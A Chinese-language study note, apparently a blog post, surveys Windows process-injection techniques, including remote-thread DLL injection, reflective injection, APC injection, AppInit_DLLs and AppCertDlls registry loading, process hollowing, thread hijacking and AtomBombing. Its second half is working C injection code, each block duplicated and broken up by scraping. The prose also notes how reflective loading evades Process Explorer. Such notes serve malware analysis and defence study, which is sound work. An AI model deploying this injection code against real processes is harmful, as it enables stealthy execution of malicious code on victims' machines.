思路:在目标进程中申请一块内存并向其中写DLL路径,然后调用 CreateRemoteThread ,(在自己进程中 创建远程线程到到目标进程)在目标进程中创建一个线程。LoadLibrary()”函数作为线程的启动函数,来加载待注入的DLL文件 ,LoadLibrary()参数 就是存放DLL路径的内存指针. 这时需要目标进程的4个权限(PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE)
RtlCreateUserThread()”调用“NtCreateThreadEx(),这意味着“RtlCreateUserThread()”是“NtCreateThreadEx()”的一个小型封装函数
总结:
openprocess 获得目标进程句柄
getprocaddress 获得loadlibrary地址
getprocaddress 获得RtlCreateUserThread地址
获得dll文件==路径==大小
virtualalloc 在目标进程中开辟路径大小的空间
writeprocess写dll路径名进内存
bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress, 存有dll路径的内存地址 指针类型
&hRemoteThread,
NULL);
总结:openprocess 获得目标进程句柄
getprocaddress 获得loadlibrary地址
getprocaddress 获得NtCreateThreadEx地址
获得dll文件==路径==大小
virtualalloc 在目标进程中开辟路径大小的空间
writeprocess写dll路径名进内存
利用NtCreateThreadEx 进行 dll注入
以上三种远程线程注入函数的区别:
CreateRemoteThread 和RtlCreateUserThread都调用 NtCreateThreadEx创建线程实体
RtlCreateUserThread不需要csrss验证登记 需要自己结束自己 而CreateRemoteThread 不一样,不用自己结束自己。
线程函数不由createthread执行 而是kernal32!baseThreadStart 或者 kernal32!baseThreadInitThunk 执行,结束后 还会调用 exitthread 和 rtlexituserthread 结束线程自身 。
同理,与CreateRemoteThread或RtlCreateUserThread或NtCreateThreadEx用法类似,也是创建远程线程实现注入
在别人的内存里调用自己编写的dll导出函数 ,自己dll导出函数里实现自我加载(加载PE的整个过程),少了使用LoadLibrary的过程。
反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL
LoadRemoteLibraryR核心代码
总结:
在自己进程内存中heapalloc
将dll文件 readfile进heapalloc出的内存中
openprocess 获得进程句柄
LoadRemoteLibraryR 函数获得dll入口函数的地址,并且利用远程线程注入rtlcreateuserprocess 实现 对dll入口函数的调用。
{获得dl文件的入口点偏移 : GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间
为映像分配内存 virtualalloc
writeprocessmemory 映像写进目标进程内存
函数真实地址是 分配的内存首地址加上函数在dll文件中的偏移
远程线程函数注入 call
}
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
MSDN说,要使用例如线程调用SignalObjectAndWait、WaitForSingleObjectE、WaitForMultipleObjectsEx、SleepEx等等等这些函数才会触发
使用QueueUserAPC函数插入APC函数,QueueUserAPC内部调用的是NtQueueApcThread,再内部是KiUserApcDispatcher。
攻击者可以将恶意代码作为一个APC函数插入APC队列(调用QueueUserAPC或NtQueueApcThread),而这段恶意代码一般实现加载DLL的操作,实现DLL注入。
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去,写入的是Dll的路径。
PAPCFUNCpfnAPC :这个函数将在指定线程执行an alertable wait operation操作时被调用。
这种注入方式有他的弊端,那就是注入的程序必须加载user32.dll,也就说通常是那些GUI程序才可以。原因是,每当启动一个GUI程序,他都会扫描注册表的AppInit_DLLs项,看看其中有没有制定的目标库,如果有,那就在程序运行时,首先主动加载该动态库,所以我们只需要将Dll完整路径写在这个位置,就可完成注入。值得一提的是,这样的Dll默认加载机制,,携带恶意代码的Dll也会在此处注册,所以Win7之后,Windows在同一个路径下,增加了一个表项LoadAppInit_DLLs,它的默认值是0,也就是说不管你在AppInit_DLLs注册什么Dll,那都没用,不会被默认加载,所以想要顺利完成注入,需要完成这个LoadAppInit_DLLs的修改,将其修改为1。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下找到AppInit_DLLs和LoadAppInit_DLLs项
将AppInit_DLLs值修改为目标Dll完整路径
修改LoadAppInit_DLLs值为1(意思是允许默认加载动态库)
如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注册表项,此项下的dll都会被加载到此进程。
此技术的实现逻辑是CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数在创建进程的时候其内部会调用BasepIsProcessAllowed函数,而BasepIsProcessAllowed则会打开AppCertDlls注册表项,将此项下的dll都加载到进程中。
CreateProcess过程有七个阶段,BasepIsProcessAllowed的过程发生在阶段2——创建文件映像和兼容性检查之间。
值得注意的是win xp-win 10 默认不存在这个注册表项,为了利用该技术需要自行创建AppCertDlls项。
补充:CreateProcess过程有七个阶段详解CreateProcess调用内核创建进程的过程 - Gotogoo - 博客园 (cnblogs.com)
==也是进程内存替换==
之前分析的病毒 使用傀儡进程注入(进程内存替换)达到进程隐藏的目的 ,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置
流程概述:
直接将自身代码注入傀儡进程,不需要DLL。首先用CreateProcess来创建一个挂起的IE进程,创建时候就把它挂起。然后得到它的装载基址,使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据,。再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态,最后使用ResumeThread继续运行IE进程。
系统函数CreateProcessW中参数dwCreationFlgs传递CREATE_SUSPEND便可以创建一个挂起的进程,进程被创建之后系统会为它分配足够的资源和初始化必要的操作,(常见的操作有:为进程分配空间,加载映像文件,创建主进程,将EIP指向代码入口点,并将主线程挂起等)
相关的API和结构信息如下:
获得线程信息代码
目标进程被初始化后,进程的映像文件也随之被加载进对应的内存空间。傀儡进程在替换之前必须将目标进程的内容清除掉。此时要用到另外一个系统未文档化的函数NtUnmapViewOfSection,需要自行从ntdll.dll中获取。该函数需要指定的进程加载的基地址,基地址即是从第2步中的上下文取得。相关的函数说明及基地址计算方法如下:
ontext.Ebx+ 8 = 基地址的地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,既是进程加载的基地址。
在第3步中,NtUnmapViewOfSection将原始空间清除并释放了,因此在写入傀儡进程之前需要重新在目标进程中分配大小足够的空间。需要用到跨进程内存分配函数VirtualAllocEx。
一般情况下,在写入傀儡进程之前,需要将傀儡进程对应的文件按照申请空间的首地址作为基地址进行“重定位”,这样才能保证傀儡进程的正常运行。为了避免这一步操作,可以以傀儡进程PE文件头部的建议加载基地址作为VirtualAllocEx 的lpAddress参数,申请与之对应的内存空间,然后以此地址作为基地址将傀儡进程写入目标进程,就不会存在重定位问题。关于“重定位”的原理可以自行网络查找相关资料。
准备工作完成后,现在开始将傀儡进程的代码写入到对应的空间中,注意写入的时候要按照傀儡进程PE文件头标明的信息进行。一般是先写入PE头,再写入PE节,如果存在附加数据还需要写入附加数据。
在第2步中,保存的线程上下文信息需要在此时就需要及时恢复了。由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到系统函数SetThreadContext。将挂起的进程开始运行需要用到函数ResumeThread。
(1) CreateProcess一个进程,并挂起,即向dwCreationFlags 参数传入CREATE_SUSPENDED;
(2) GetThreadContext获取挂起进程CONTEXT,其中,EAX为进程入口点地址,EBX指向进程PEB;
(3) ZwUnmapViewOfSection卸载挂起进程内存空间数据;
(4) VirtualAlloc分配内存空间;
(5) WriteProcessMemory将恶意代码写入分配的内存;
(6) SetThreadContext设置挂起的进程的状态;
(6) ResumeThread唤醒进程运行。
傀儡进程是恶意软件隐藏自身代码的常用方式,在调式过程中,若遇到傀儡进程,需要将创建的子进程数据从内存中dump出来,作为PE文件单独调试,dump的时机为ResumeThead调用之前,此时傀儡进程内存数据已经完全写入,进程还未正式开始运行。
若dump后文件无法运行,OD加载失败,则需要做如下修复:
(1) FileAlignment值修改为SectionAlignment值;
(2) 所有section的Raw Address值修改为Virtual Address.
32位环境下的代码
64位环境
在我们想目标进程注入这段代码之前,以下占位符需要修改填充:
·返回地址(代码桩执行完毕之后,线程恢复应回到的地址)
·DLL路径名称
·LoadLibrary()函数地址
而这也是进行劫持,挂起,注入和恢复线程这一系列操作的时机。
32位:
64位:
32位注入核心代码:
64位同理;
线程执行劫持技术和傀儡进程技术相似,傀儡进程替换的是整个进程而线程执行劫持替换的只是某一个线程。
线程执行劫持也需要先在RWX内存中写入payload,写入完毕后直接将线程执行地址替换为payload地址就行了:
是一个存储字符串和相应标识符的系统定义表
应用程序将一个字符串放入一个 Atom 表中,并接收一个 16 位整数 (WORD) 作为标识 (称为 Atom),可通过该标识访问字符串内容,实现进程间的数据交换
(1) Global Atom Table
所有应用程序可用
当一个进程将一个字符串保存到 Global Atom Table 时,系统生成一个在系统范围内唯一的 atom,来标示该字符串。在系统范围之内所有的进程都可以通过该 atom(索引) 来获得这个字符串,从而实现进程间的数据交换
(2) Local Atom Table
只有当前程序可用,相当于定义一个全局变量,如果程序多次使用该变量,使用 Local Atom Table 仅需要一次内存操作
添加一个 Global Atom:
删除一个 Global Atom:
查找指定字符串对应的 Global Atom:
获取指定 atom 对应的字符串:
整体思路:
使用GlobalAddAtom创建一个原子,写入不含null的字符串,让目标进程调用GlobalGetAtomNameA就可以向目标进程任意地址写入任意代码了。
细节:
自身进程通过 GlobalAddAtom 将 shellcode 添加到 Global Atom Table 中
通过 APC 注入(使用APC中的NtQueueApcThread函数另目标进程调用GlobalGetAtomNameA。使用NtQueueApcThread而不是QueueUserAPC是因为 GlobalGetAtomNameA有三个参数,NtQueueApcThread能传递三个参数而QueueUserAPC只能传递一个参数),使目标进程调用 GlobalGetAtomName, 即可从 Global Atom Table 中获取 shellcode
总结:
通过GlobalAddAtom函数把数据放到原子表,
用APC在目标线程用GlobalGetAtomName把原子表里的数据放到远程内存地址里
目标进程调用 GlobalGetAtomName 从 Global Atom Table 中获取 shellcode 后,需要先保存 shellcode 再执行
找到一段 RW 的内存( KERNELBASE 数据段后未使用的空间)写入数据,构造 ROP 链实现 shellcode 的执行
ROP 链实现了以下功能:
注入后需要恢复目标进程的执行
Windows 8.1 update 3 和 Windows 10 添加了一个新的保护机制 CFG
内存映射文件,是由一个文件到一块内存的映射。Win32提供了允许应用程序把文件映射到一个进程的函数
(CreateFileMapping)。内存映射文件与虚拟内存有些类似,通过内存映射文件可以保留一个地址空间的区域,同时将物理存储器提交给此区域,内存文件映射的物理存储器来自一个已经存在于磁盘上的文件,而且在对该文件进行操作之前必须首先对文件进行映射。使用内存映射文件处理存储于磁盘上的文件时,将不必再对文件执行I/O操作,使得内存映射文件在处理大数据量的文件时能起到相当重要的作用。
在Windows下,创建操作共享内存的API主要有CreateFileMapping、MapViewOfFile、OpenFileMapping、FlushViewOfFile、UnmapViewOfFile等
利用目标进程共享内存进行注入
创建共享内存进行注入
首先,使用CreateProcess创建挂起进程
利用了内存映射文件的原理,那么内存映射的一套的流程也基本都用到了,CreateFileMapping创建共享内存的内存映射对象
MapViewOfFile得到该内存空间的映射地址
RtlMoveMemory将shellcode与PE文件信息拷贝到内存映射对象中
ZwMapViewOfSection将内存映射对象与挂起目标进程关联在一起,这样目标进程中就存在了shellcode与PE文件
ZwQueryInformationThread获取目标进程主线程的入口地址
CreateRemoteThread创建一个主线程
最后使用QueueUserAPC向创建的主线程插入一个APC执行shellcode装载随后的PE文件
恢复执行
!!!!所有代码均不是原创,此文只是学习过程进行总结!!!!
https://github.com/BreakingMalwareResearch/atom-bombing
https://github.com/BreakingMalware/PowerLoaderEx
/
/
计算DLL路径名所需的字节数
DWORD dwSize
=
(lstrlenW(pszLibFile)
+
1
)
*
sizeof(wchar_t);
/
/
获取传递进程
ID
的进程句柄
HANDLE hProcess
=
OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
/
/
目标进程的四个权限
FALSE, dwProcessId);
/
/
在远程进程中为路径名分配空间
LPVOID pszLibFileRemote
=
(PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
/
/
将DLL的路径名复制到远程进程地址空间
/
/
pszLibFile:要注入的dll的路径 pathname
DWORD n
=
WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
/
/
在Kernel32.dll中获取LoadLibraryW的实际地址
PTHREAD_START_ROUTINE pfnThreadRtn
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"Kernel32"
)),
"LoadLibraryW"
);
/
/
创建一个调用LoadLibraryW(DLLPathname)的远程线程
/
/
CreateRemoteThread(目标进程句柄,NULL,
0
,线程函数指针,线程函数参数,
0
,NULL)
HANDLE hThread
=
CreateRemoteThread(hProcess, NULL,
0
, pfnThreadRtn, pszLibFileRemote,
0
, NULL);
/
/
等待远程线程终止
WaitForSingleObject(hThread, INFINITE);
/
/
释放包含DLL路径名的远程内存并关闭句柄
if
(pszLibFileRemote !
=
NULL)
/
/
开辟的内存已经注入进数据
VirtualFreeEx(hProcess, pszLibFileRemote,
0
, MEM_RELEASE);
/
/
关闭线程和进程函数句柄
if
(hThread !
=
NULL)
CloseHandle(hThread);
if
(hProcess !
=
NULL)
CloseHandle(hProcess);
return
(
0
);
}
/
/
计算DLL路径名所需的字节数
DWORD dwSize
=
(lstrlenW(pszLibFile)
+
1
)
*
sizeof(wchar_t);
/
/
获取传递进程
ID
的进程句柄
HANDLE hProcess
=
OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
/
/
目标进程的四个权限
FALSE, dwProcessId);
/
/
在远程进程中为路径名分配空间
LPVOID pszLibFileRemote
=
(PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
/
/
将DLL的路径名复制到远程进程地址空间
/
/
pszLibFile:要注入的dll的路径 pathname
DWORD n
=
WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
/
/
在Kernel32.dll中获取LoadLibraryW的实际地址
PTHREAD_START_ROUTINE pfnThreadRtn
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"Kernel32"
)),
"LoadLibraryW"
);
/
/
创建一个调用LoadLibraryW(DLLPathname)的远程线程
/
/
CreateRemoteThread(目标进程句柄,NULL,
0
,线程函数指针,线程函数参数,
0
,NULL)
HANDLE hThread
=
CreateRemoteThread(hProcess, NULL,
0
, pfnThreadRtn, pszLibFileRemote,
0
, NULL);
/
/
等待远程线程终止
WaitForSingleObject(hThread, INFINITE);
/
/
释放包含DLL路径名的远程内存并关闭句柄
if
(pszLibFileRemote !
=
NULL)
/
/
开辟的内存已经注入进数据
VirtualFreeEx(hProcess, pszLibFileRemote,
0
, MEM_RELEASE);
/
/
关闭线程和进程函数句柄
if
(hThread !
=
NULL)
CloseHandle(hThread);
if
(hProcess !
=
NULL)
CloseHandle(hProcess);
return
(
0
);
}
HANDLE hProcess
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
LPVOID LoadLibraryAddress
=
(LPVOID)GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryW"
);
RtlCreateUserThread
=
(pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L
"ntdll.dll"
),
"RtlCreateUserThread"
);
wprintf(TEXT(
"[+] Found at 0x%08x\n"
), (UINT)RtlCreateUserThread);
wprintf(TEXT(
"[+] Found at 0x%08x\n"
), (UINT)LoadLibraryAddress);
DWORD dwSize
=
(wcslen(pszLibFile)
+
1
)
*
sizeof(wchar_t);
LPVOID lpBaseAddress
=
VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL
bStatus
=
WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);
bStatus
=
(
BOOL
)RtlCreateUserThread(
hProcess,
NULL,
0
,
0
,
0
,
0
,
LoadLibraryAddress,
lpBaseAddress,
&hRemoteThread,
NULL);
if
(bStatus <
0
)
{
wprintf(TEXT(
"[-] Error: RtlCreateUserThread failed\n"
));
return
(
1
);
}
else
{
wprintf(TEXT(
"[+] Remote thread has been created successfully ...\n"
));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hProcess);
VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
return
(
0
);
}
return
(
0
);
}
HANDLE hProcess
=
OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
LPVOID LoadLibraryAddress
=
(LPVOID)GetProcAddress(GetModuleHandle(L
"kernel32.dll"
),
"LoadLibraryW"
);
RtlCreateUserThread
=
(pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L
"ntdll.dll"
),
"RtlCreateUserThread"
);
wprintf(TEXT(
"[+] Found at 0x%08x\n"
), (UINT)RtlCreateUserThread);
wprintf(TEXT(
"[+] Found at 0x%08x\n"
), (UINT)LoadLibraryAddress);
DWORD dwSize
=
(wcslen(pszLibFile)
+
1
)
*
sizeof(wchar_t);
LPVOID lpBaseAddress
=
VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
BOOL
bStatus
=
WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);
bStatus
=
(
BOOL
)RtlCreateUserThread(
hProcess,
NULL,
0
,
0
,
0
,
0
,
LoadLibraryAddress,
lpBaseAddress,
&hRemoteThread,
NULL);
if
(bStatus <
0
)
{
wprintf(TEXT(
"[-] Error: RtlCreateUserThread failed\n"
));
return
(
1
);
}
else
{
wprintf(TEXT(
"[+] Remote thread has been created successfully ...\n"
));
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hProcess);
VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
return
(
0
);
}
return
(
0
);
}
memset(&ntbuffer,
0
, sizeof(NtCreateThreadExBuffer));
DWORD dwSize
=
(lstrlenW(pszLibFile)
+
1
)
*
sizeof(wchar_t);
HANDLE hProcess
=
OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
LPVOID pszLibFileRemote
=
(PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
int
n
=
WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);
PTHREAD_START_ROUTINE pfnThreadRtn
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"Kernel32"
)),
"LoadLibraryW"
);
PTHREAD_START_ROUTINE ntCreateThreadExAddr
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"ntdll.dll"
)),
"NtCreateThreadEx"
);
if
(ntCreateThreadExAddr)
{
ntbuffer.Size
=
sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1
=
0x10003
;
ntbuffer.Unknown2
=
0x8
;
ntbuffer.Unknown3
=
(DWORD
*
)&dwTmp2;
ntbuffer.Unknown4
=
0
;
ntbuffer.Unknown5
=
0x10004
;
ntbuffer.Unknown6
=
4
;
ntbuffer.Unknown7
=
(DWORD
*
)&dwTmp1;
ntbuffer.Unknown8
=
0
;
LPFUN_NtCreateThreadEx funNtCreateThreadEx
=
(LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status
=
funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF
,
NULL,
hProcess,
pfnThreadRtn,
(LPVOID)pszLibFileRemote,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer
/
/
这里原来是NULL,但是跑的时候也可以注入,懵逼
);
wprintf(TEXT(
"[+] Status: %s\n"
), status);
if
(status !
=
NULL)
/
/
FIXME: always returns NULL even when it suceeds. Go figure.
{
wprintf(TEXT(
"[-] NtCreateThreadEx Failed! [%d][%08x]\n"
), GetLastError(), status);
return
(
1
);
}
else
{
wprintf(TEXT(
"[+] Success: DLL injected via NtCreateThreadEx().\n"
));
WaitForSingleObject(hRemoteThread, INFINITE);
}
}
if
(pszLibFileRemote !
=
NULL)
VirtualFreeEx(hProcess, pszLibFileRemote,
0
, MEM_RELEASE);
if
(hRemoteThread !
=
NULL)
CloseHandle(hRemoteThread);
if
(hProcess !
=
NULL)
CloseHandle(hProcess);
return
(
0
);
}
memset(&ntbuffer,
0
, sizeof(NtCreateThreadExBuffer));
DWORD dwSize
=
(lstrlenW(pszLibFile)
+
1
)
*
sizeof(wchar_t);
HANDLE hProcess
=
OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
LPVOID pszLibFileRemote
=
(PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
int
n
=
WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);
PTHREAD_START_ROUTINE pfnThreadRtn
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"Kernel32"
)),
"LoadLibraryW"
);
PTHREAD_START_ROUTINE ntCreateThreadExAddr
=
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(
"ntdll.dll"
)),
"NtCreateThreadEx"
);
if
(ntCreateThreadExAddr)
{
ntbuffer.Size
=
sizeof(struct NtCreateThreadExBuffer);
ntbuffer.Unknown1
=
0x10003
;
ntbuffer.Unknown2
=
0x8
;
ntbuffer.Unknown3
=
(DWORD
*
)&dwTmp2;
ntbuffer.Unknown4
=
0
;
ntbuffer.Unknown5
=
0x10004
;
ntbuffer.Unknown6
=
4
;
ntbuffer.Unknown7
=
(DWORD
*
)&dwTmp1;
ntbuffer.Unknown8
=
0
;
LPFUN_NtCreateThreadEx funNtCreateThreadEx
=
(LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
NTSTATUS status
=
funNtCreateThreadEx(
&hRemoteThread,
0x1FFFFF
,
NULL,
hProcess,
pfnThreadRtn,
(LPVOID)pszLibFileRemote,
FALSE,
NULL,
NULL,
NULL,
&ntbuffer
/
/
这里原来是NULL,但是跑的时候也可以注入,懵逼
);
wprintf(TEXT(
"[+] Status: %s\n"
), status);
if
(status !
=
NULL)
/
/
FIXME: always returns NULL even when it suceeds. Go figure.
{
wprintf(TEXT(
"[-] NtCreateThreadEx Failed! [%d][%08x]\n"
), GetLastError(), status);
return
(
1
);
}
else
{
wprintf(TEXT(
"[+] Success: DLL injected via NtCreateThreadEx().\n"
));
WaitForSingleObject(hRemoteThread, INFINITE);
}
}
if
(pszLibFileRemote !
=
NULL)
VirtualFreeEx(hProcess, pszLibFileRemote,
0
, MEM_RELEASE);
if
(hRemoteThread !
=
NULL)
CloseHandle(hRemoteThread);
if
(hProcess !
=
NULL)
CloseHandle(hProcess);
return
(
0
);
}
/
/
LoadRemoteLibraryR 函数说明
extern
"C"
HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId)
{
HANDLE hFile
=
NULL;
/
/
创建的dll文件句柄
HANDLE hModule
=
NULL;
/
/
开辟的堆空间句柄
HANDLE hProcess
=
NULL;
/
/
目标进程句柄
LPVOID lpBuffer
=
NULL;
DWORD dwLength
=
0
;
DWORD dwBytesRead
=
0
;
do
{
hFile
=
CreateFileW(cpDllFile, GENERIC_READ,
0
, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
dwLength
=
GetFileSize(hFile, NULL);
wprintf(TEXT(
"[+] File Size: %d\n"
), dwLength);
/
/
为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中 分配堆内存
lpBuffer
=
HeapAlloc(GetProcessHeap(),
0
, dwLength);
/
/
将dll文件读进开辟的堆空间中 hfile
-
-
》lpbuffer
if
(ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL)
=
=
FALSE) BREAK_WITH_ERROR(
"[-] Failed to alloc a buffer!"
);
/
/
获得目标进程的句柄
hProcess
=
OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
/
/
LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入
hModule
=
LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);
WaitForSingleObject(hModule,
-
1
);
}
while
(
0
);
/
/
注入完毕,释放堆空间,关闭进程句柄
if
(lpBuffer) HeapFree(GetProcessHeap(),
0
, lpBuffer);
if
(hProcess) CloseHandle(hProcess);
return
0
;
}
/
/
LoadRemoteLibraryR 函数说明
extern
"C"
HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId)
{
HANDLE hFile
=
NULL;
/
/
创建的dll文件句柄
HANDLE hModule
=
NULL;
/
/
开辟的堆空间句柄
HANDLE hProcess
=
NULL;
/
/
目标进程句柄
LPVOID lpBuffer
=
NULL;
DWORD dwLength
=
0
;
DWORD dwBytesRead
=
0
;
do
{
hFile
=
CreateFileW(cpDllFile, GENERIC_READ,
0
, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
dwLength
=
GetFileSize(hFile, NULL);
wprintf(TEXT(
"[+] File Size: %d\n"
), dwLength);
/
/
为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中 分配堆内存
lpBuffer
=
HeapAlloc(GetProcessHeap(),
0
, dwLength);
/
/
将dll文件读进开辟的堆空间中 hfile
-
-
》lpbuffer
if
(ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL)
=
=
FALSE) BREAK_WITH_ERROR(
"[-] Failed to alloc a buffer!"
);
/
/
获得目标进程的句柄
hProcess
=
OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
/
/
LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入
hModule
=
LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);
WaitForSingleObject(hModule,
-
1
);
}
while
(
0
);
/
/
注入完毕,释放堆空间,关闭进程句柄
if
(lpBuffer) HeapFree(GetProcessHeap(),
0
, lpBuffer);
if
(hProcess) CloseHandle(hProcess);
return
0
;
}
/
/
检查库是否有ReflectiveLoader
/
/
获得dll文件的入口点偏移
dwReflectiveLoaderOffset
=
GetReflectiveLoaderOffset(lpBuffer);
/
/
lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间
/
/
alloc memory (RWX)
in
the host process
for
the image...
/
/
为映像分配内存
lpRemoteLibraryBuffer
=
VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/
/
write the image into the host process...
/
/
将映像写入目标进程
/
*
BOOL
WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress, 要写的内存首地址
LPVOID lpBuffer, 指向要写的数据的指针
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);
*
/
/
/
将映像写入目标进程 lpRemoteLibraryBuffer 在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存
/
/
add the offset to ReflectiveLoader() to the remote library address...
/
/
lpRemoteLibraryBuffer 分配的内存地址
+
dwReflectiveLoaderOffset 入口点偏移
lpReflectiveLoader
=
(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer
+
dwReflectiveLoaderOffset);
/
/
create a remote thread
in
the host process to call the ReflectiveLoader!
/
/
OutputDebugString(
"INJECTING DLL!"
);
/
/
本身反射性dll 就隐蔽性高,自然不可以用createremoteprocess
RtlCreateUserThread
=
(PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT(
"ntdll"
)),
"RtlCreateUserThread"
));
RtlCreateUserThread(hProcess, NULL,
0
,
0
,
0
,
0
, lpReflectiveLoader, lpParameter, &hThread, NULL);
/
/
lpReflectiveLoader 线程函数地址,dll入口函数地址 lpParameter 参数
WaitForSingleObject(hThread, INFINITE);
/
/
释放掉为dll映像分配的内存
VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);
}
while
(
0
);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
hThread
=
NULL;
}
return
hThread;
}
/
/
检查库是否有ReflectiveLoader
/
/
